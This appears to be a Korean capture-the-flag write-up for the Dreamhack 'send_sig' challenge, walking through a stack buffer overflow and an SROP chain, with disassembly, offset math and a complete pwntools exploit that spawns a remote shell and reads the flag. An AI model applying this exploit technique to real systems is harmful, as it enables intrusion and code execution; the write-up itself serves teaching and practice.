send_sig

The program forwards a signal number straight to the kernel; the exploit is choosing the right one.

2026.08.18 Pwn original post
  1. 문제 개요 문제 설명은 다음과 같다. 서버로 signal을 보낼 수 있는 프로그램입니다! 프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요. flag는 /home/send_sig/flag.txt에 있습니다. 처음 프로그램을 실행하면 다음과 같은 화면이 출력된다. ++++++++++++++++++Welcome to dreamhack++++++++++++++++++ + You can send a signal to dreamhack server. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Signal: 문제 이름이 send_sig이고 입력 프롬프트가 Signal:이기 때문에, 처음에는 단순히 특정 signal 번호를 보내는 문제처럼 보 인다.

하지만 바이너리를 분석해보면 실제 핵심은 stack buffer overflow와 SROP(Sigreturn Oriented Programming)이다.

  1. 취약점 분석 바이너리는 stripped 상태라서 main 심볼이 보이지 않았다. 그래서 disassembly를 통해 주요 코드를 확인했다. 중요한 함수 부분은 다음과 같다. 4010ba: 55 push rbp 4010bb: 48 89 e5 mov rbp, rsp 4010be: 48 83 ec 10 sub rsp, 16 4010c2: ba 07 00 00
00 mov edx, 7 4010c7: 48 8d 35 3a 0f 00 00 lea rsi, [rip + 3898] # 0x402008 4010ce: bf 01 00 00 00 mov

edi, 1 4010d8: e8 73 ff ff ff call write 4010dd: 48 8d 45 f8 lea rax, [rbp - 8] 4010e1: ba 00 04 00 00 mov edx, 1024 4010e6: 48 89 c6 mov rsi, rax 4010e9: bf 00 00 00 00 mov edi, 0 4010f3: e8 68 ff ff ff call read 4010f9: c9 leave 4010fa: c3 ret 이 부분을 C 코드처럼 해석하면 대략 다음과 같다.

void vuln() { char buf[8]; write(1, "Signal:", 7); read(0, buf, 1024); }

여기서 buf는 rbp - 0x8 위치에 있다. lea rax, [rbp - 8] 그런데 read()는 최대 1024바이트를 입력받는다. mov edx, 1024 call read 즉, 8바이트짜리 버퍼에 1024바이트를 입력받는 stack buffer overflow가 발생한다.

  1. Offset 구하기 이번 문제에서 가장 중요한 부분은 return address까지의 offset을 구하는 것이다. 입력 버퍼는 다음 위치에 있다.
buf = rbp - 0x8

함수의 stack 구조는 다음과 같다 . rbp - 0x8 → 입력 버퍼 시작

rbp → saved rbp
rbp + 0x8 → return address

우리가 덮고 싶은 것은 return address이므로, 입력 버퍼 시작 위치부터 return address까지의 거리를 계산한다.

return address - buf

= (rbp + 0x8) - (rbp - 0x8)
= 0x10
= 16 bytes

따라서 RIP offset은 16바이트이다. 입력값은 다음과 같이 들어간다.

입력 07바이트 → buf 입력 815바이트 → saved rbp 입력 16~23바이트 → return address

따라서 payload의 기본 구조는 다음과 같다. payload = b”A” * 16 + p64(덮어쓸_주소)

  1. /bin/sh 문자열 확인 strings 명령어로 바이너리 안의 문자열을 확인했다. strings -a -t x ./send_sig 결과 중 /bin/sh 문자열이 존재했다. 2000 /bin/sh 2008 Signal: 바이너리가 No PIE이므로 .rodata의 주소는 고정되어 있다. 따라서 /bin/sh 문자열의 실제 주소는 다음과 같이 사용할 수 있다.
/bin/sh = 0x402000
  1. SROP 개념 SROP는 rt_sigreturn syscall을 이용해 레지스터 값을 한 번에 조작하는 기법이다. Linux x86-64에서 중요한 syscall 번 호는 다음과 같다.
rt_sigreturn = 15
execve = 59

우리는 먼저 rax를 15로 설정한 뒤 syscall을 실행한다.

rax = 15

syscall 그러면 커널은 현재 stack에 있는 fake sigreturn frame을 읽고, 그 안에 있는 값으로 레지스터들을 복구한다. 이 fake frame 안에 다음 값을 넣으면:

rax = 59
rdi = 0x402000
rsi = 0
rdx = 0
rip = 0x4010b0

최종적으로 다음 syscall이 실행된다. execve(“/bin/sh”, 0, 0); 즉, shell을 얻을 수 있다.

  1. Exploit 작성 최종 exploit 코드는 다음과 같다.
from pwn import * context.arch = "amd64" HOST = "host8.dreamhack.games" PORT = 9132 pop_rax_ret =
0x4010ae syscall_ret = 0x4010b0 bin_sh = 0x402000 p = remote(HOST, PORT) frame = SigreturnFrame()
frame.rax = 59 # execve frame.rdi = bin_sh # "/bin/sh" frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret
payload = b"A" * 16 payload += p64(pop_rax_ret) payload += p64(15) # rt_sigreturn payload +=
p64(syscall_ret) payload += bytes(frame) p.sendafter(b"Signal:", payload) p.sendline(b"cat /home/send_sig/
flag.txt") p.interactive()
  1. Payload 구조 정리 payload는 다음과 같은 구조이다. “A” * 16 → return address까지 도달하기 위한 padding pop rax ; ret → rax 값을 조작하기 위한 gadget 15 → rt_sigreturn syscall 번호 syscall ; ret → rt_sigreturn 실행 fake sigreturn frame → execve(“/bin/sh”, 0, 0)를 실행하 기 위한 레지스터 상태 fake sigreturn frame에는 다음 값이 들어간다.
rax = 59 # execve rdi = 0x402000 # "/bin/sh" rsi = 0 rdx = 0 rip = 0x4010b0 # syscall ; ret